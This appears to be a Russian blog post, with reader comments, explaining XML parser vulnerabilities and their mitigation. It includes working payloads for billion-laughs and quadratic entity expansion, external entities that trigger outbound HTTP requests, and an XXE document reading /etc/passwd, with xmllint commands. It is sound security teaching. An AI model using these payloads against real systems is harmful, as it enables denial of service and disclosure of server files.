Как сделать бомбу из XML

    В рассылке oss-security было опубликовано обсуждение различных уязвимостей, связанных с разбором XML. Уязвимостям подвержены приложения, которые разрешают библиотекам обрабатывать именованные и внешние сущности в DTD, встроенном в XML-документ, полученный из недоверенного источника. Т.е. по сути — приложения, не изменяющие настроек парсера по умолчанию.

    Примеры XML-бомб под катом. Если у вас есть приложения, обрабатывающие XML, вы можете самостоятельно проверить их на предмет наличия уязвимостей. Проверка бомб в этом посте производится на примере утилиты xmllint, входящей в комплект поставки библиотеки libxml2, но можно использовать и другие синтаксические анализаторы.



    Теория



    Стандарт XML разрешает XML-документам использовать DTD для определения допустимых конструкций из вложенных тегов и атрибутов. DTD может быть либо представлен в виде ссылки на внешний источник, либо полностью определяться внутри самого документа. Пример документа со встроенным DTD:

    <!DOCTYPE greeting [
      <!ELEMENT greeting (#PCDATA)>
    ]>
    <greeting>Hello, world!</greeting>
    


    В DTD, помимо элементов и атрибутов, можно определять сущности. Пример документа, использующего именованные сущности:

    <!DOCTYPE greeting [
      <!ENTITY target "world">
      <!ELEMENT greeting (#PCDATA)>
    ]>
    <greeting>Hello, &target;!</greeting>
    


    Проверить этот документ на валидность и раскрыть сущности можно так:

    $ xmllint --noent --valid hello.xml


    Экспоненциальное раздувание сущностей



    Именованные сущности могут раскрываться не только в символьные строки, но и в последовательности других сущностей. Рекурсия запрещена стандартом, но ограничений на допустимую глубину вложенности нет. Это позволяет добиться компактного представления очень длинных текстовых строк (аналогично тому, как это делают архиваторы) и составляет основу атаки «billion laughs», известной с 2003 года.

    <!DOCTYPE bomb [
     <!ENTITY a "1234567890" >
     <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
     <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
     <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
     <!ELEMENT bomb (#PCDATA)>
    ]>
    <bomb>&d;</bomb>
    


    Современные XML-парсеры содержат защиту от такой атаки. Например, libxml2 по умолчанию отказывается разбирать этот документ, несмотря на его строгое соответствие стандарту:

    $ xmllint --noent --valid bomb1.xml
    Entity: line 1: parser error : Detected an entity reference loop
    &c;&c;&c;&c;&c;&c;&c;&c;
       ^
    bomb1.xml:8: parser error : Detected an entity reference loop
    <bomb>&d;</bomb>
             ^
    


    Чтобы таки увидеть, насколько он раздувается при раскрытии сущностей, надо явно отключить защиту от этой атаки:

    $ xmllint --noent --valid --huge bomb1.xml | wc -c
    5344


    Очевидно, добавление новой сущности по аналогии с уже приведенными раздувает выходной поток примерно во столько раз, сколько ссылок на предыдущую сущность содержится в добавляемой. Входной документ при этом увеличивается на количество байт, пропорциональное этому количеству ссылок. Т.е. имеет место экспоненциальная зависимость между размерами входного XML-документа и выходного потока символов.

    Маленький XML-документ может вызвать непропорционально большое потребление ресурсов (таких как ОЗУ и время процессора) для задачи его разбора до тегов и символьных строк. Перед нами типичная DoS-атака, основанная на существенном различии сложности используемого алгоритма в типичном и худшем случае.

    Квадратичное раздувание сущностей



    Как мы уже видели, некоторые библиотеки для борьбы с атакой «billion laughs» вводят жесткое искусственное ограничение на глубину дерева именованных сущностей. Такое ограничение действительно позволяет предотвратить экспоненциальную зависимость между объемом входного XML-файла и выходного потока символов. Однако, для взломщика, стремящегося израсходовать все ресурсы сервера сравнительно небольшим XML-документом, наличие экспоненциальной зависимости между этими величинами не нужно. Квадратичная зависимость вполне сойдет, а для нее достаточно одного уровня именованных сущностей. Будем просто повторять одну длинную сущность много раз:

    <!DOCTYPE bomb [
     <!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" >
     <!ELEMENT bomb (#PCDATA)>
    ]>
    <bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb>
    


    $ xmllint --huge --noent --valid bomb2.xml | wc -c
    1868


    Опция --huge добавлена на случай, ваша версия libxml2 посчитает, что приведенный пример является атакой. Этому ее научили этим коммитом, т.е. на момент публикации поста соответствующее изменение не успело попасть в релиз.

    Внешние сущности



    Стандарт XML содержит возможность получать значения сущностей не только из готовых строк, но и путем обращения к внешним ресурсам, например, по протоколу HTTP. Это открывает для атакующего, имеющего доступ к парсеру XML на сервере-зомби, возможность сканировать порты и даже организовывать DoS-атаки на другие сервера, скрывая свой IP-адрес. Вот этот XML-файл при попытке его разобрать парсером, поддерживающим внешние сущности, создаст три запроса к RSS-потокам Хабра:

    <!DOCTYPE bomb [
     <!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" >
     <!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" >
     <!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" >
     <!ELEMENT author ANY>
     <!ELEMENT blockquote ANY>
     <!ELEMENT category ANY>
     <!ELEMENT channel ANY>
     <!ELEMENT code ANY>
     <!ELEMENT description ANY>
     <!ELEMENT generator ANY>
     <!ELEMENT guid ANY>
     <!ATTLIST guid isPermaLink CDATA #IMPLIED>
     <!ELEMENT h3 ANY>
     <!ELEMENT i ANY>
     <!ELEMENT image ANY>
     <!ELEMENT item ANY>
     <!ELEMENT language ANY>
     <!ELEMENT lastBuildDate ANY>
     <!ELEMENT link ANY>
     <!ELEMENT managingEditor ANY>
     <!ELEMENT pre ANY>
     <!ELEMENT pubDate ANY>
     <!ELEMENT rss ANY>
     <!ATTLIST rss version CDATA #IMPLIED>
     <!ELEMENT title ANY>
     <!ELEMENT url ANY>
     <!ELEMENT bomb ANY>
    ]>
    <bomb>&a1;&a2;&a3;</bomb>
    


    $ xmllint --noent --noout --load-trace bomb3.xml


    В примере выше можно запретить парсеру читать сущности из сети путем передачи ключа --nonet.

    Тем же способом можно заставить уязвимое приложение читать локальные файлы с секретной информацией вроде пароля для базы данных. К сожалению, здесь --nonet не помогает:

    <!DOCTYPE bomb [
     <!ENTITY passwd SYSTEM "file:///etc/passwd" >
     <!ELEMENT bomb (#PCDATA)>
    ]>
    <bomb>&passwd;</bomb>
    


    $ xmllint --noent --nonet --valid bomb4.xml


    Подобный тип атак называется XXE (от XML eXternal Entity). Один из недавних примеров — уязвимость в PostgreSQL, CVE-2012-3489.

    Заключение



    Теперь поговорим о предотвращении таких атак.

    Само собой, необходимо использовать версии библиотек, в которых приняты контрмеры против этих и других уязвимостей. Необходимо явно ограничивать ресурсы, затраченные на разбор XML-документа. Например, для libxml2 это можно сделать, вызвав xmlMemSetup() и передав свои собственные функции управления памятью, которые просто не дадут выделить слишком много. Необходимо также ограничить доступ к внешним ресурсам, например, путем написания собственного загрузчика сущностей.

    Есть, однако, мнение, что все меры, перечисленные выше, нацелены на симптомы, а не на суть перечисленных уязвимостей. Действительно, откуда вообще в вашем приложении взялась задача разбора XML-документа согласно DTD, упоминающемуся (или содержащемуся) в нем самом? Не будет ли более правильной задача разбора этого XML-документа согласно правилам вашего приложения? Ведь вы же проверяете валидность данных в HTML-форме согласно регулярным выражениям, находящимся в коде ее обработчика, а не пришедшим вместе с данными формы. Соответственно, вам хватит не использующего DTD (а значит, невалидирующего) XML-парсера, в который заранее загружены нужные сущности.
    Share post

    Similar posts

    Comments 10

      +9
      Мне казалось, что W3C уже давно отказались от DTD в пользу XML Schema.
        +3
        Согласен, валидация по схеме не имеет перечисленных недостатков, т.к. схема не является частью самого XML-документа. Но мало ли — вдруг хакер решит проверить, не забыли ли вы отключить валидацию входящих документов по DTD.
          +1
          Я вообще только XML Schema использовал, про DTD даже не слышал.
            +11
            Мда, разница в возрасте в 4 года, а какая пропасть…
              +5
              Да просто кратер, гигантский и невосполнимый! Как теперь мне жить с этим…
                0
                Я не знаю что там у Вас в Минске, но в Питере, почти все универские лабы до сих пор живут на DTD.
            +5
            Они отказались от DTD в HTML, и не в пользу XML Schema, а просто отказались. Им было лень писать DTD, который, по моему мнению, несколько более читабельный, чем схема, особенно что касается наследования элементов.

            0
            Nokogiri и подобные либы, этому подвержены?
              0
              Не знаю, предлагаю проверить самостоятельно, пользуясь примерами из поста.
                0
                Посмотрел доку тут: nokogiri.org/Nokogiri/XML/ParseOptions.html — на вид это обычный binding к libxml2. Т.е. при включенной опции NOENT и выключенной опции NONET все бомбы, кроме первой, должны сработать. После обновления до версии libxml2 из git может перестать работать вторая бомба.

            Only users with full accounts can post comments. Log in, please.